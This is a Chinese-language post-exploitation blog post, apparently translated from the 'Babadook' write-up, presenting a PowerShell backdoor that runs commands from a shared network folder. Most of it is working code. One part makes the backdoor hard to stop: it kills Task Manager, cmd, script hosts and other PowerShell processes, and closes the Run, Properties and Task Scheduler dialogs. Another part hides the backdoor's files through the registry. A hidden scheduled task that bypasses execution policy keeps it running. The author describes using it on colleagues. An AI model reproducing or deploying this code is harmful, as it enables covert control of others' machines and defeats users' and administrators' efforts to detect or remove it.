后渗透篇:无连接的powershell持续性反弹后门


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

无连接的powershell持续性反弹后门

0x01 前置环境

0x02 当前环境

0x03 多线程和监视模块

0x04 隐藏


 

无连接的powershell持续性反弹后门

0x01 前置环境

  • 机器之前没有直接的联系(vlan隔离)。
  • 用户只有访问的权限,没有管理权限,不能下载安装软件。
  • 使用了企业反病毒软件。

0x02 当前环境

我使用的是win 10,那么就可以利用powershell这个强大的东西。但面临的问题:无直连,无法开启socket。 因为我们是一个团队,所以我们有一个共享文件夹,那么这个共享文件夹可以被利用起来,我会在这个共享文件夹上放一个脚本,我的后门会读取这个脚本,然后eval()它,简单有效。


 
 
  1. $SharePath = "\\ournas\ourteamfolder\somesubfolder"
  2. $MyPID = $([System.Diagnostics.Process]::GetCurrentProcess()).Id
  3. $Interval = 10
  4. $CurrMachineCmdPath = "$($SharePath)\cmd.$($env:COMPUTERNAME).$($MyPID).ps1"
  5. # ... some code
  6. # Command parsing loop
  7. While ($true) {
  8. If (Test-Path $CurrMachineCmdPath) {
  9. Try {
  10. & $CurrMachineCmdPath
  11. Clear-Content $CurrMachineCmdPath
  12. } Catch [system. exception] {
  13. Log "Error running script: $_"
  14. } # end :: try/catch
  15. } # end :: if
  16. Start-Sleep $Interval
  17. } #end :: while

通过共享文件夹解决了vlan隔离和杀软的问题,我加了一个Clear-Content模块,运行后自动清除。

 

0x03 多线程和监视模块

我需要让我的后门的主线程等待指令,那么我加了多线程,我还创建了监视模块,当某段时间,变量为true的时候(被控端打开了任务管理器),循环结束任务管理器进程,忽略错误(错误是指当启动任务管理器的时候)。 我也对cmd, wscript 和cscript这些程序进行了同样的操作,目的是掩人耳目。


 
 
  1. Stop-Process -processname taskmgr - Force -ErrorAction SilentlyContinue Stop-Process -processname cmd - Force -ErrorAction SilentlyContinue
  2. Stop-Process -processname wscript - Force -ErrorAction SilentlyContinue
  3. Stop-Process -processname cscript - Force -ErrorAction SilentlyContinue

同样对vbs和bat的文件产生作用,当结束掉我后门进程之前没法让它完全加载。 后门工作了一段时间由于更新了GPO,阻止PowerShell远程处理,结果断掉了。 所以需要.net和powershell结合的漂亮一点,使原来的解决方案更加容易。  


 
 
  1. $Watchdog = { # code here }
  2. # "If it's in a word or in a look, you can't get rid of the babadook"
  3. $Global :BabadookWatchdog = [PowerShell] : :Create().AddScript($Watchdog)
  4. $Global :WatchdogJob = $Global :BabadookWatchdog.BeginInvoke()
  5. # ... code ...
  6. # Stop Watchdog
  7. If ($Global :BabadookWatchdog -And $Global :WatchdogJob) {
  8. Log "Stopping Babadook Watchdog"
  9. # No EndInvoke because we won't return (while true loop) and we don't care about the return anyway
  10. $Global :BabadookWatchdog.Dispose() | Out-Null
  11. Log "Watchdog disposed"
  12. }# end :: if

当我同事打算启动任务管理器的时候,我的监视程序立刻结束它,我的同事差点疯掉。 为了确保不会有人打开powershell试图结束进程,我的监视程序会判断打开的powershell是不是我的后门的子程序,如果不是,仍然结束掉。


 
 
  1. Function Kill-PS {
  2. Stop-Process -processname powershell_ise - Force -ErrorAction SilentlyContinue # Kill powershell_ise.Exe
  3. # Kill powershell processes which are not me
  4. $AllPS = [ array] $( Get-Process | Where- Object { $_.ProcessName -eq "powershell" - And $_.Id -ne "$MyPID" })
  5. If ($AllPS.Count -gt 0) {
  6. ForEach ($Proc in $AllPS) { Stop-Process - Id $Proc.ID - Force -ErrorAction SilentlyContinue }# end :: foreach
  7. }# end :: if
  8. }# end :: Kill-PS

我的同事仍然在拼命的想要结束我的后门。 有的人只是试图打开运行,然后来结束进程,这对我来说是烦恼的,所以我的阻止他们打开,“运行”这个对话框是内置的,而不是一个进程,不能用传统方式,所以我希望.net的扩展能够更多调用windows的api。


 
 
  1. Add-Type @ "
  2. using System;
  3. using System.Runtime.InteropServices;
  4. using System.Text;
  5. public class APIFuncs
  6. {
  7. [DllImport("user32.dll ", CharSet = CharSet.Auto, SetLastError = true)]
  8. public static extern int GetWindowText(IntPtr hwnd,StringBuilder lpString, int cch);
  9. [DllImport("user32.dll ", SetLastError=true, CharSet=CharSet.Auto)]
  10. public static extern IntPtr GetForegroundWindow();
  11. [DllImport("user32.dll ", SetLastError=true, CharSet=CharSet.Auto)]
  12. public static extern Int32 GetWindowTextLength(IntPtr hWnd);
  13. [DllImport("user32.dll ", SetLastError=true, CharSet=CharSet.Auto)]
  14. public static extern int SendMessage(int hWnd, uint Msg, int wParam, int lParam);
  15. public const int WM_SYSCOMMAND = 0x0112;
  16. public const int SC_CLOSE = 0xF060;
  17. }
  18. "@
  19. Function Kill-Run {
  20. $ForegroundWindow = [apifuncs]::GetForegroundWindow()
  21. $WindowTextLen = [apifuncs]::GetWindowTextLength($ForegroundWindow)
  22. $StringBuffer = New-Object text.stringbuilder -ArgumentList ($WindowTextLen + 1)
  23. $ReturnLen = [apifuncs]::GetWindowText($ForegroundWindow,$StringBuffer,$StringBuffer.Capacity)
  24. $WindowText = $StringBuffer.tostring()
  25. if ($WindowText -eq "Run") {
  26. [void][apifuncs]::SendMessage($ForegroundWindow, [apifuncs]::WM_SYSCOMMAND, [apifuncs]::SC_CLOSE, 0)
  27. } # end :: if
  28. } # end :: Kill-Run

0x04 隐藏

我怕我的脚本在共享文件夹中被人发现,并且添加代码使之对我的后门产生别的作用,所以我要向监视器中添加代码


 
 
  1. Function Hide-Me {
  2. If (Test-Path $ScriptPath) { $(Get-Item $ScriptPath -Force).Attributes = "Archive,Hidden" }
  3. If (Test-Path $CurrMachineCmdPath) { $(Get-Item $CurrMachineCmdPath -Force).Attributes = "Archive,Hidden" }
  4. If (Test-Path $LogPath) { $(Get-Item $LogPath -Force).Attributes = "Archive,Hidden" }
  5. Set-ItemProperty HKCU:\\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced -Name Hidden -Value 2 # Don't display hidden files
  6. } # end :: Hide-Me

最后一条是修改注册表不显示系统文件,这样的话,即使他们改成了显示,那么当在我的变量为true的时候,他会立即变成隐藏。 我自己也想了很多关于结束掉我的后门的方法,所以我针对这些方法,在我的监视器上面进行了响应的阻断策略 同事们可以创建taskkill的快捷方式,于是我对我的监视器进行了一些修改。


 
 
  1. # ... some code
  2. if ($WindowText -eq "Run" - Or $WindowText.Contains( "Properties")) {
  3. [void][apifuncs]::SendMessage($ForegroundWindow, [apifuncs]::WM_SYSCOMMAND, [apifuncs]::SC_CLOSE, 0)
  4. } # end :: if
  5. # ... more code

但是一旦重启了,就会都失效了,那么还要想办法,想到了注册表,可惜没管理员权限,于是想到了计划任务。 复制我的后门脚本以任意命名的方式到本地的机器,然后当每天8点的时候,开机的时候,闲置的时候,运行之。


 
 
  1. function Babadook-Persist
  2. {
  3. $CharSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
  4. $NewName = $(Get-Random -InputObject $CharSet -Count 8 | % -Begin { $randStr = $null } -Process { $randStr += [char] $_ } -End { $randStr }) + ".ps1"
  5. $NewPath = "$($env:LOCALAPPDATA)\$($NewName)"
  6. Install-Task $NewPath
  7. } # end :: Babadook-Persist
  8. function Install-Task ( $BBDPath) {
  9. $CommandArguments = "-executionpolicy bypass -windowstyle hidden -f `"$( $BBDPath)` ""
  10. $taskRunAsuser = [Environment]::UserDomainName + "\" + $env:USERNAME
  11. $service = new-object -com("Schedule.Service ")
  12. $service.Connect()
  13. $rootFolder = $service.GetFolder("\ ")
  14. Try {
  15. $rootFolder.GetTask("\Babadook ") | Out-Null
  16. Log "Babadook persist task already installed "
  17. } Catch {
  18. Log "Copying Babadook to local machine at ` "$($BBDPath)`" "
  19. Copy-Item $script:MyInvocation.MyCommand.Path $BBDPath -Force
  20. Log "Installing Babadook persist task "
  21. $taskDefinition = $service.NewTask(0)
  22. $regInfo = $taskDefinition.RegistrationInfo
  23. $regInfo.Description = 'Ba-ba-ba DOOK DOOK DOOK'
  24. $regInfo.Author = $taskRunAsuser
  25. $settings = $taskDefinition.Settings
  26. $settings.Enabled = $True
  27. $settings.StartWhenAvailable = $True
  28. $settings.Hidden = $True
  29. $triggers = $taskDefinition.Triggers
  30. # Triger time
  31. $triggerDaily = $triggers.Create(2)
  32. $triggerDaily.StartBoundary = "$(Get-Date -Format 'yyyy-mm-dd')T0800 "
  33. $triggerDaily.DaysInterval = 1
  34. $triggerDaily.Enabled = $True
  35. # Trigger logon
  36. $triggerLogon = $triggers.Create(9)
  37. $triggerLogon.UserId = $taskRunAsUser
  38. $triggerLogon.Enabled = $True
  39. # Trigger Idle
  40. $triggerIdle = $triggers.Create(6)
  41. $triggerIdle.Enabled = $True
  42. $Action = $taskDefinition.Actions.Create(0)
  43. $Action.Path = 'powershell.exe'
  44. $Action.Arguments = $CommandArguments
  45. $rootFolder.RegisterTaskDefinition( 'Babadook', $taskDefinition, 6, $null , $null, 3) | Out-Null
  46. }# end :: try/catch
  47. }# End :: Install-Task

关于计划任务,了解更多请点击:https://msdn.microsoft.com/en-us/library/windows/desktop/aa383607(v=vs.85).aspx 目前为止看起来干的很漂亮,直到我觉得需要一些并发控制。


 
 
  1. # Wait for mutex
  2. [bool]$MutexWasCreated = $false
  3. $BabadookMutex = New-Object System.Threading.Mutex($true, $BabadookMutexName, [ref] $MutexWasCreated)
  4. if (!$MutexWasCreated) {
  5. Log "Babadook Mutex found, waiting release..."
  6. $BabadookMutex.WaitOne() | Out- Null
  7. Log "Babadook Mutex acquired"
  8. } else {
  9. Log "Babadook Mutex installed"
  10. } # end :: if
  11. # ... code ...
  12. # Release Mutex
  13. Log "Releasing Babadook Mutex"
  14. $BabadookMutex.ReleaseMutex();
  15. $BabadookMutex.Close();

我得需要组织他们打开计划任务的对话框啊哈哈我真贱。于是我添加了一个if判断。


 
 
  1. if ($WindowText -eq "Run" - Or $WindowText.Contains( "Properties") - Or $WindowText.Contains( "Task Scheduler")) {
  2. [void][apifuncs]::SendMessage($ForegroundWindow, [apifuncs]::WM_SYSCOMMAND, [apifuncs]::SC_CLOSE, 0)
  3. } # end :: if

到目前为止,我就拥有了:

  • 无连接的后门
  • 监视器
  • 持久性
  • 并发控制

参考链接:

               https://wroot.org/posts/babadook-connection-less-powershell-persistent-and-resilient-backdoor/

               http://www.mottoin.com/detail/542.html

 


我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重


 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值